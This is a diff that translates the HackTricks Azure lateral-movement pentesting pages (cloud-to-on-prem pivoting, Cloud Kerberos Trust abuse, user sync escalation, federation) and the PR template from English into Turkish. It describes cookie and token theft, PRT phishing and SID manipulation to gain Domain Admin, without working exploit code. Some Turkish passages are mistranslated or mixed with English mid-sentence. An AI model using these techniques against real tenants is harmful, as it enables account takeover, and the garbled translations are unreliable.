diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 5e04d31db..10ff74f30 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,16 +1,11 @@ You can remove this content before sending the PR: ## Attribution -We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone. +Bilginize değer veriyoruz ve içeriği paylaşmanızı teşvik ediyoruz. Lütfen yalnızca sahip olduğunuz veya orijinal yazardan paylaşma izni aldığınız içeriği yüklediğinizden emin olun (eklenen metinde veya değiştirdiğiniz sayfanın sonunda yazara bir referans ekleyerek veya her ikisini yaparak). Fikri mülkiyet haklarına saygınız, herkes için güvenilir ve yasal bir paylaşım ortamını teşvik eder. ## HackTricks Training -If you are adding so you can pass the in the [ARTE certification](https://training.hacktricks.xyz/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-`. - -Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction. - - -In any case, thanks for contributing to HackTricks! - - +Eğer [ARTE sertifikası](https://training.hacktricks.xyz/courses/arte) sınavını 3 yerine 2 bayrakla geçmek için ekleme yapıyorsanız, PR'yi `arte-` olarak adlandırmalısınız. +Ayrıca, dil/gramer düzeltmelerinin sınav bayrak azaltımı için kabul edilmeyeceğini unutmayın. +Her durumda, HackTricks'e katkıda bulunduğunuz için teşekkürler! diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index 855759013..7488dd34b 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -4,66 +4,62 @@ {{#include ../../../banners/hacktricks-training.md}} -### On-Prem machines connected to cloud +### Bulut ile bağlantılı On-Prem makineleri -There are different ways a machine can be connected to the cloud: +Bir makinenin buluta bağlanmasının farklı yolları vardır: -#### Azure AD joined +#### Azure AD katıldı
-#### Workplace joined +#### Workplace katıldı

https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large

-#### Hybrid joined +#### Hibrit katıldı

https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large

-#### Workplace joined on AADJ or Hybrid +#### AADJ veya Hibrit üzerinde Workplace katıldı

https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large

-### Tokens and limitations +### Tokenler ve sınırlamalar -In Azure AD, there are different types of tokens with specific limitations: +Azure AD'de, belirli sınırlamaları olan farklı türde tokenler vardır: -- **Access tokens**: Used to access APIs and resources like the Microsoft Graph. They are tied to a specific client and resource. -- **Refresh tokens**: Issued to applications to obtain new access tokens. They can only be used by the application they were issued to or a group of applications. -- **Primary Refresh Tokens (PRT)**: Used for Single Sign-On on Azure AD joined, registered, or hybrid joined devices. They can be used in browser sign-in flows and for signing in to mobile and desktop applications on the device. -- **Windows Hello for Business keys (WHFB)**: Used for passwordless authentication. It's used to get Primary Refresh Tokens. +- **Erişim tokenleri**: Microsoft Graph gibi API'lere ve kaynaklara erişmek için kullanılır. Belirli bir istemci ve kaynakla ilişkilidir. +- **Yenileme tokenleri**: Yeni erişim tokenleri almak için uygulamalara verilir. Sadece verildiği uygulama veya bir grup uygulama tarafından kullanılabilir. +- **Birincil Yenileme Tokenleri (PRT)**: Azure AD katılı, kayıtlı veya hibrit katılı cihazlarda Tek Oturum Açma için kullanılır. Tarayıcı oturum açma akışlarında ve cihazdaki mobil ve masaüstü uygulamalara giriş yapmak için kullanılabilir. +- **Windows Hello for Business anahtarları (WHFB)**: Şifresiz kimlik doğrulama için kullanılır. Birincil Yenileme Tokenlerini almak için kullanılır. -The most interesting type of token is the Primary Refresh Token (PRT). +En ilginç token türü Birincil Yenileme Tokeni (PRT) dir. {{#ref}} az-primary-refresh-token-prt.md {{#endref}} -### Pivoting Techniques +### Pivoting Teknikleri -From the **compromised machine to the cloud**: +**tehdit altındaki makineden buluta**: -- [**Pass the Cookie**](az-pass-the-cookie.md): Steal Azure cookies from the browser and use them to login -- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump the memory of local processes synchronized with the cloud (like excel, Teams...) and find access tokens in clear text. -- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish the PRT to abuse it -- [**Pass the PRT**](pass-the-prt.md): Steal the device PRT to access Azure impersonating it. -- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generate a cert based on the PRT to login from one machine to another +- [**Cookie'yi Geç**](az-pass-the-cookie.md): Tarayıcıdan Azure çerezlerini çal ve giriş yapmak için kullan +- [**Süreçlerin erişim tokenlerini dök**](az-processes-memory-access-token.md): Bulut ile senkronize edilmiş yerel süreçlerin belleğini dök (örneğin excel, Teams...) ve açık metin olarak erişim tokenlerini bul. +- [**Birincil Yenileme Tokenini Phishing**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** PRT'yi phishing yaparak kötüye kullan +- [**PRT'yi Geç**](pass-the-prt.md): Azure'a erişmek için cihaz PRT'sini çal. +- [**Sertifikayı Geç**](az-pass-the-certificate.md)**:** Bir makineden diğerine giriş yapmak için PRT'ye dayalı bir sertifika oluştur -From compromising **AD** to compromising the **Cloud** and from compromising the **Cloud to** compromising **AD**: +**AD'yi tehlikeye atmaktan bulutu tehlikeye atmaktan ve bulutu tehlikeye atmaktan AD'yi tehlikeye atmaktan**: - [**Azure AD Connect**](azure-ad-connect-hybrid-identity/) -- **Another way to pivot from could to On-Prem is** [**abusing Intune**](../az-services/intune.md) +- **Buluttan On-Prem'e geçmenin bir diğer yolu** [**Intune'u kötüye kullanmaktır**](../az-services/intune.md) #### [Roadtx](https://github.com/dirkjanm/ROADtools) -This tool allows to perform several actions like register a machine in Azure AD to obtain a PRT, and use PRTs (legit or stolen) to access resources in several different ways. These are not direct attacks, but it facilitates the use of PRTs to access resources in different ways. Find more info in [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) +Bu araç, Azure AD'de bir makine kaydetmek için PRT almak ve PRT'leri (meşru veya çalıntı) çeşitli yollarla kaynaklara erişmek için kullanmak gibi birkaç işlem gerçekleştirmeyi sağlar. Bunlar doğrudan saldırılar değildir, ancak PRT'leri farklı yollarla kaynaklara erişmek için kullanmayı kolaylaştırır. Daha fazla bilgi için [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) -## References +## Referanslar - [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md index ec734cb69..ae59ffee5 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md @@ -2,63 +2,57 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -Integration between **On-premises Active Directory (AD)** and **Azure AD** is facilitated by **Azure AD Connect**, offering various methods that support **Single Sign-on (SSO)**. Each method, while useful, presents potential security vulnerabilities that could be exploited to compromise cloud or on-premises environments: +**On-premises Active Directory (AD)** ve **Azure AD** arasındaki entegrasyon, **Azure AD Connect** tarafından sağlanmakta olup, **Single Sign-on (SSO)**'yu destekleyen çeşitli yöntemler sunmaktadır. Her yöntem, faydalı olmasına rağmen, bulut veya yerel ortamları tehlikeye atabilecek potansiyel güvenlik açıkları içermektedir: - **Pass-Through Authentication (PTA)**: - - Possible compromise of the agent on the on-prem AD, allowing validation of user passwords for Azure connections (on-prem to Cloud). - - Feasibility of registering a new agent to validate authentications in a new location (Cloud to on-prem). +- Yerel AD'deki ajanının tehlikeye atılması, Azure bağlantıları için kullanıcı şifrelerinin doğrulanmasına olanak tanır (yerel'den Bulut'a). +- Yeni bir konumda kimlik doğrulamalarını doğrulamak için yeni bir ajanın kaydedilmesi olasılığı (Bulut'tan yerel'e). {{#ref}} pta-pass-through-authentication.md {{#endref}} - **Password Hash Sync (PHS)**: - - Potential extraction of clear-text passwords of privileged users from the AD, including credentials of a high-privileged, auto-generated AzureAD user. +- AD'den ayrı metin şifrelerin, yüksek ayrıcalıklı, otomatik olarak oluşturulmuş AzureAD kullanıcısının kimlik bilgileri de dahil olmak üzere, ayrıcalıklı kullanıcıların çıkarılması olasılığı. {{#ref}} phs-password-hash-sync.md {{#endref}} - **Federation**: - - Theft of the private key used for SAML signing, enabling impersonation of on-prem and cloud identities. +- SAML imzalama için kullanılan özel anahtarın çalınması, yerel ve bulut kimliklerinin taklit edilmesine olanak tanır. {{#ref}} federation.md {{#endref}} - **Seamless SSO:** - - Theft of the `AZUREADSSOACC` user's password, used for signing Kerberos silver tickets, allowing impersonation of any cloud user. +- Kerberos gümüş biletlerini imzalamak için kullanılan `AZUREADSSOACC` kullanıcısının şifresinin çalınması, herhangi bir bulut kullanıcısının taklit edilmesine olanak tanır. {{#ref}} seamless-sso.md {{#endref}} - **Cloud Kerberos Trust**: - - Possibility of escalating from Global Admin to on-prem Domain Admin by manipulating AzureAD user usernames and SIDs and requesting TGTs from AzureAD. +- AzureAD kullanıcı adları ve SID'leri manipüle edilerek Global Admin'den yerel Domain Admin'e yükselme olasılığı ve AzureAD'den TGT talep etme. {{#ref}} az-cloud-kerberos-trust.md {{#endref}} - **Default Applications**: - - Compromising an Application Administrator account or the on-premise Sync Account allows modification of directory settings, group memberships, user accounts, SharePoint sites, and OneDrive files. +- Bir Uygulama Yöneticisi hesabının veya yerel Senkronizasyon Hesabının tehlikeye atılması, dizin ayarlarının, grup üyeliklerinin, kullanıcı hesaplarının, SharePoint sitelerinin ve OneDrive dosyalarının değiştirilmesine olanak tanır. {{#ref}} az-default-applications.md {{#endref}} -For each integration method, user synchronization is conducted, and an `MSOL_` account is created in the on-prem AD. Notably, both **PHS** and **PTA** methods facilitate **Seamless SSO**, enabling automatic sign-in for Azure AD computers joined to the on-prem domain. - -To verify the installation of **Azure AD Connect**, the following PowerShell command, utilizing the **AzureADConnectHealthSync** module (installed by default with Azure AD Connect), can be used: +Her entegrasyon yöntemi için, kullanıcı senkronizasyonu gerçekleştirilir ve yerel AD'de bir `MSOL_` hesabı oluşturulur. Özellikle, hem **PHS** hem de **PTA** yöntemleri **Seamless SSO**'yu kolaylaştırarak, yerel alan adına katılan Azure AD bilgisayarları için otomatik oturum açma sağlar. +**Azure AD Connect**'in kurulumunu doğrulamak için, **AzureADConnectHealthSync** modülünü (varsayılan olarak Azure AD Connect ile birlikte yüklenir) kullanarak aşağıdaki PowerShell komutu kullanılabilir: ```powershell Get-ADSyncConnector ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index 0b8debf3e..3ff94fe6a 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -2,52 +2,48 @@ {{#include ../../../../banners/hacktricks-training.md}} -**This post is a summary of** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **which can be checked for further information about the attack. This technique is also commented in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.** +**Bu gönderi,** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **adresinde bulunan saldırı hakkında daha fazla bilgi için kontrol edilebilecek bir özetidir. Bu teknik ayrıca** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)** adresinde de yorumlanmıştır.** -## Basic Information +## Temel Bilgiler -### Trust +### Güven -When a trust is stablished with Azure AD, a **Read Only Domain Controller (RODC) is created in the AD.** The **RODC computer account**, named **`AzureADKerberos$`**. Also, a secondary `krbtgt` account named **`krbtgt_AzureAD`**. This account contains the **Kerberos keys** used for tickets that Azure AD creates. +Azure AD ile bir güven kurulduğunda, **AD'de bir Okuma Yalnızca Alan Denetleyicisi (RODC) oluşturulur.** **RODC bilgisayar hesabı**, **`AzureADKerberos$`** olarak adlandırılır. Ayrıca, **`krbtgt_AzureAD`** adında bir ikincil `krbtgt` hesabı da oluşturulur. Bu hesap, Azure AD'nin oluşturduğu biletler için kullanılan **Kerberos anahtarlarını** içerir. -Therefore, if this account is compromised it could be possible to impersonate any user... although this is not true because this account is prevented from creating tickets for any common privileged AD group like Domain Admins, Enterprise Admins, Administrators... +Bu nedenle, bu hesap ele geçirilirse, herhangi bir kullanıcıyı taklit etmek mümkün olabilir... ancak bu doğru değildir çünkü bu hesap, Alan Yöneticileri, Kurumsal Yöneticiler, Yöneticiler gibi herhangi bir yaygın ayrıcalıklı AD grubuna bilet oluşturma yetkisine sahip değildir... > [!CAUTION] -> However, in a real scenario there are going to be privileged users that aren't in those groups. So the **new krbtgt account, if compromised, could be used to impersonate them.** +> Ancak, gerçek bir senaryoda bu gruplarda yer almayan ayrıcalıklı kullanıcılar olacaktır. Bu nedenle, **yeni krbtgt hesabı, ele geçirilirse, onları taklit etmek için kullanılabilir.** ### Kerberos TGT -Moreover, when a user authenticates on Windows using a hybrid identity **Azure AD** will issue **partial Kerberos ticket along with the PRT.** The TGT is partial because **AzureAD has limited information** of the user in the on-prem AD (like the security identifier (SID) and the name).\ -Windows can then **exchange this partial TGT for a full TGT** by requesting a service ticket for the `krbtgt` service. +Ayrıca, bir kullanıcı Windows'ta hibrit kimlik kullanarak kimlik doğruladığında, **Azure AD, PRT ile birlikte kısmi Kerberos bileti verir.** TGT kısmi olarak adlandırılır çünkü **AzureAD'nin on-prem AD'deki kullanıcı hakkında sınırlı bilgisi** vardır (güvenlik tanımlayıcısı (SID) ve isim gibi).\ +Windows, ardından **bu kısmi TGT'yi tam TGT ile değiştirebilir** ve `krbtgt` hizmeti için bir hizmet bileti talep edebilir. ### NTLM -As there could be services that doesn't support kerberos authentication but NTLM, it's possible to request a **partial TGT signed using a secondary `krbtgt`** key including the **`KERB-KEY-LIST-REQ`** field in the **PADATA** part of the request and then get a full TGT signed with the primary `krbtgt` key **including the NT hash in the response**. +Kerberos kimlik doğrulamasını desteklemeyen ancak NTLM'yi destekleyen hizmetler olabileceğinden, **`KERB-KEY-LIST-REQ`** alanını **PADATA** talebinin parçasına ekleyerek **ikincil `krbtgt`** anahtarı ile imzalanmış bir kısmi TGT talep etmek ve ardından birincil `krbtgt` anahtarı ile imzalanmış tam bir TGT almak mümkündür **NT hash yanıtında** dahil edilmiştir. -## Abusing Cloud Kerberos Trust to obtain Domain Admin +## Alan Yöneticisi Elde Etmek İçin Cloud Kerberos Trust'ı Kötüye Kullanma -When AzureAD generates a **partial TGT** it will be using the details it has about the user. Therefore, if a Global Admin could modify data like the **security identifier and name of the user in AzureAD**, when requesting a TGT for that user the **security identifier would be a different one**. +AzureAD bir **kısmi TGT** oluşturduğunda, kullanıcı hakkında sahip olduğu ayrıntıları kullanacaktır. Bu nedenle, bir Global Admin, **AzureAD'deki kullanıcının güvenlik tanımlayıcısını ve adını** değiştirebilirse, o kullanıcı için bir TGT talep ettiğinde **güvenlik tanımlayıcısı farklı olacaktır**. -It's not possible to do that through the Microsoft Graph or the Azure AD Graph, but it's possible to use the **API Active Directory Connect** uses to create and update synced users, which can be used by the Global Admins to **modify the SAM name and SID of any hybrid user**, and then if we authenticate, we get a partial TGT containing the modified SID. +Bunu Microsoft Graph veya Azure AD Graph aracılığıyla yapmak mümkün değildir, ancak Global Admin'lerin **senkronize kullanıcıları oluşturmak ve güncellemek için kullandığı API'yi** kullanmak mümkündür; bu, Global Admin'lerin **herhangi bir hibrit kullanıcının SAM adını ve SID'sini değiştirmesine** olanak tanır ve ardından kimlik doğruladığımızda, değiştirilmiş SID'yi içeren bir kısmi TGT alırız. -Note that we can do this with AADInternals and update to synced users via the [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet. +Bunu AADInternals ile yapabileceğimizi ve senkronize kullanıcılara [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet'i aracılığıyla güncelleyebileceğimizi unutmayın. -### Attack prerequisites +### Saldırı Ön Koşulları -The success of the attack and attainment of Domain Admin privileges hinge on meeting certain prerequisites: +Saldırının başarısı ve Alan Yöneticisi ayrıcalıklarının elde edilmesi, belirli ön koşulların karşılanmasına bağlıdır: -- The capability to alter accounts via the Synchronization API is crucial. This can be achieved by having the role of Global Admin or possessing an AD Connect sync account. Alternatively, the Hybrid Identity Administrator role would suffice, as it grants the ability to manage AD Connect and establish new sync accounts. -- Presence of a **hybrid account** is essential. This account must be amenable to modification with the victim account's details and should also be accessible for authentication. -- Identification of a **target victim account** within Active Directory is a necessity. Although the attack can be executed on any account already synchronized, the Azure AD tenant must not have replicated on-premises security identifiers, necessitating the modification of an unsynchronized account to procure the ticket. - - Additionally, this account should possess domain admin equivalent privileges but must not be a member of typical AD administrator groups to avoid the generation of invalid TGTs by the AzureAD RODC. - - The most suitable target is the **Active Directory account utilized by the AD Connect Sync service**. This account is not synchronized with Azure AD, leaving its SID as a viable target, and it inherently holds Domain Admin equivalent privileges due to its role in synchronizing password hashes (assuming Password Hash Sync is active). For domains with express installation, this account is prefixed with **MSOL\_**. For other instances, the account can be pinpointed by enumerating all accounts endowed with Directory Replication privileges on the domain object. +- Hesapları Senkronizasyon API'si aracılığıyla değiştirme yeteneği kritik öneme sahiptir. Bu, Global Admin rolüne sahip olmak veya bir AD Connect senkronizasyon hesabına sahip olmakla sağlanabilir. Alternatif olarak, Hibrit Kimlik Yöneticisi rolü yeterlidir, çünkü AD Connect'i yönetme ve yeni senkronizasyon hesapları oluşturma yetkisi verir. +- **Hibrit bir hesabın** varlığı gereklidir. Bu hesap, kurban hesabının ayrıntılarıyla değiştirilmek üzere uygun olmalı ve kimlik doğrulama için de erişilebilir olmalıdır. +- Active Directory içinde bir **hedef kurban hesabının** tanımlanması gereklidir. Saldırı, zaten senkronize edilmiş herhangi bir hesap üzerinde gerçekleştirilebilir, ancak Azure AD kiracısının on-prem güvenlik tanımlayıcılarını çoğaltmamış olması gerekir; bu nedenle, bileti elde etmek için senkronize edilmemiş bir hesabın değiştirilmesi gerekmektedir. +- Ayrıca, bu hesabın alan yöneticisi eşdeğer ayrıcalıklara sahip olması gerekir, ancak AzureAD RODC tarafından geçersiz TGT'lerin üretilmesini önlemek için tipik AD yönetici gruplarının bir üyesi olmamalıdır. +- En uygun hedef, **AD Connect Senkronizasyon hizmeti tarafından kullanılan Active Directory hesabıdır.** Bu hesap Azure AD ile senkronize edilmez, bu da SID'sinin geçerli bir hedef olmasını sağlar ve şifre karmaşalarını senkronize etme rolü nedeniyle doğası gereği Alan Yöneticisi eşdeğer ayrıcalıklara sahiptir (Şifre Karma Senkronizasyonu aktif varsayılarak). Hızlı kurulum olan alanlar için bu hesap **MSOL\_** ile başlar. Diğer durumlarda, hesap, alan nesnesi üzerindeki Dizin Çoğaltma ayrıcalıklarına sahip tüm hesapları listeleyerek belirlenebilir. -### The full attack +### Tam Saldırı -Check it in the original post: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) +Bunu orijinal gönderide kontrol edin: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md index 593b0222a..e92c9bc02 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md @@ -2,12 +2,8 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Check the techinque in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) and [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) +**Tekniği kontrol edin:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) ve [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) -The blog post discusses a privilege escalation vulnerability in Azure AD, allowing Application Admins or compromised On-Premise Sync Accounts to escalate privileges by assigning credentials to applications. The vulnerability, stemming from the "by-design" behavior of Azure AD's handling of applications and service principals, notably affects default Office 365 applications. Although reported, the issue is not considered a vulnerability by Microsoft due to documentation of the admin rights assignment behavior. The post provides detailed technical insights and advises regular reviews of service principal credentials in Azure AD environments. For more detailed information, you can visit the original blog post. +Blog yazısı, Azure AD'deki bir ayrıcalık yükseltme açığını tartışıyor; bu, Uygulama Yöneticileri veya ele geçirilmiş On-Premise Senkronizasyon Hesaplarının uygulamalara kimlik bilgileri atayarak ayrıcalıkları yükseltmesine olanak tanıyor. Açık, Azure AD'nin uygulamaları ve hizmet ilkelerini "tasarım gereği" ele alma davranışından kaynaklanıyor ve özellikle varsayılan Office 365 uygulamalarını etkiliyor. Bildirilmiş olmasına rağmen, Microsoft bu durumu, yönetici hakları atama davranışının belgelenmesi nedeniyle bir açık olarak görmüyor. Yazı, teknik içgörüler sunmakta ve Azure AD ortamlarında hizmet ilkesi kimlik bilgilerini düzenli olarak gözden geçirme önerisinde bulunmaktadır. Daha ayrıntılı bilgi için, orijinal blog yazısını ziyaret edebilirsiniz. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index 4af67011b..b4bb1813a 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -1,36 +1,30 @@ -# Az- Synchronising New Users +# Az- Yeni Kullanıcıları Senkronize Etme {{#include ../../../../banners/hacktricks-training.md}} -## Syncing AzureAD users to on-prem to escalate from on-prem to AzureAD +## AzureAD kullanıcılarını on-prem'e senkronize ederek on-prem'den AzureAD'ye yükseltme -I order to synchronize a new user f**rom AzureAD to the on-prem AD** these are the requirements: - -- The **AzureAD user** needs to have a proxy address (a **mailbox**) -- License is not required -- Should **not be already synced** +AzureAD'den on-prem AD'ye yeni bir kullanıcıyı senkronize etmek için gereksinimler şunlardır: +- **AzureAD kullanıcısı** bir proxy adresine (bir **posta kutusu**) sahip olmalıdır +- Lisans gerekli değildir +- **Zaten senkronize olmamalıdır** ```powershell Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` +When a user like these is found in AzureAD, in order to **on-prem AD'den erişmek için** you just need to **yeni bir hesap oluşturmak** with the **proxyAddress** the SMTP email. -When a user like these is found in AzureAD, in order to **access it from the on-prem AD** you just need to **create a new account** with the **proxyAddress** the SMTP email. - -An automatically, this user will be **synced from AzureAD to the on-prem AD user**. +An automatically, this user will be **AzureAD'den on-prem AD kullanıcısına senkronize edilecektir**. > [!CAUTION] -> Notice that to perform this attack you **don't need Domain Admin**, you just need permissions to **create new users**. +> Notice that to perform this attack you **Domain Admin'e ihtiyaç duymuyorsunuz**, you just need permissions to **yeni kullanıcılar oluşturmak**. > -> Also, this **won't bypass MFA**. +> Also, this **MFA'yı atlatmayacak**. > -> Moreover, this was reported an **account sync is no longer possible for admin accounts**. +> Moreover, this was reported an **admin hesapları için senkronizasyon artık mümkün değil**. ## References - [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index 480c5f22b..8e2fa684b 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -2,34 +2,34 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** is a collection of **domains** that have established **trust**. The level of trust may vary, but typically includes **authentication** and almost always includes **authorization**. A typical federation might include a **number of organizations** that have established **trust** for **shared access** to a set of resources. +[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** güvenin tesis edildiği **alanlar** topluluğudur. Güven düzeyi değişiklik gösterebilir, ancak genellikle **kimlik doğrulama** içerir ve neredeyse her zaman **yetkilendirme** içerir. Tipik bir federasyon, belirli bir kaynak setine **paylaşılan erişim** için **güven** tesis etmiş **bir dizi organizasyon** içerebilir. -You can **federate your on-premises** environment **with Azure AD** and use this federation for authentication and authorization. This sign-in method ensures that all user **authentication occurs on-premises**. This method allows administrators to implement more rigorous levels of access control. Federation with **AD FS** and PingFederate is available. +**Yerel** ortamınızı **Azure AD** ile **federate** edebilir ve bu federasyonu kimlik doğrulama ve yetkilendirme için kullanabilirsiniz. Bu oturum açma yöntemi, tüm kullanıcı **kimlik doğrulamasının yerel ortamda gerçekleşmesini** sağlar. Bu yöntem, yöneticilerin daha katı erişim kontrol seviyeleri uygulamasına olanak tanır. **AD FS** ve PingFederate ile federasyon mevcuttur.
-Bsiacally, in Federation, all **authentication** occurs in the **on-prem** environment and the user experiences SSO across all the trusted environments. Therefore, users can **access** **cloud** applications by using their **on-prem credentials**. +Temelde, Federasyonda tüm **kimlik doğrulama** **yerel** ortamda gerçekleşir ve kullanıcı, tüm güvenilir ortamlar arasında SSO deneyimler. Bu nedenle, kullanıcılar **yerel kimlik bilgilerini** kullanarak **bulut** uygulamalarına **erişim** sağlayabilirler. -**Security Assertion Markup Language (SAML)** is used for **exchanging** all the authentication and authorization **information** between the providers. +**Güvenlik İddası İşaretleme Dili (SAML)**, sağlayıcılar arasında tüm kimlik doğrulama ve yetkilendirme **bilgilerini** **değiştirmek** için kullanılır. -In any federation setup there are three parties: +Her federasyon kurulumunda üç taraf vardır: -- User or Client -- Identity Provider (IdP) -- Service Provider (SP) +- Kullanıcı veya İstemci +- Kimlik Sağlayıcı (IdP) +- Hizmet Sağlayıcı (SP) -(Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) +(Görseller https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps adresinden alınmıştır)
-1. Initially, an application (Service Provider or SP, such as AWS console or vSphere web client) is accessed by a user. This step might be bypassed, leading the client directly to the IdP (Identity Provider) depending on the specific implementation. -2. Subsequently, the SP identifies the appropriate IdP (e.g., AD FS, Okta) for user authentication. It then crafts a SAML (Security Assertion Markup Language) AuthnRequest and reroutes the client to the chosen IdP. -3. The IdP takes over, authenticating the user. Post-authentication, a SAMLResponse is formulated by the IdP and forwarded to the SP through the user. -4. Finally, the SP evaluates the SAMLResponse. If validated successfully, implying a trust relationship with the IdP, the user is granted access. This marks the completion of the login process, allowing the user to utilize the service. +1. İlk olarak, bir uygulama (Hizmet Sağlayıcı veya SP, örneğin AWS konsolu veya vSphere web istemcisi) bir kullanıcı tarafından erişilir. Bu adım atlanabilir ve istemci doğrudan IdP'ye (Kimlik Sağlayıcı) yönlendirilebilir. +2. Sonrasında, SP, kullanıcı kimlik doğrulaması 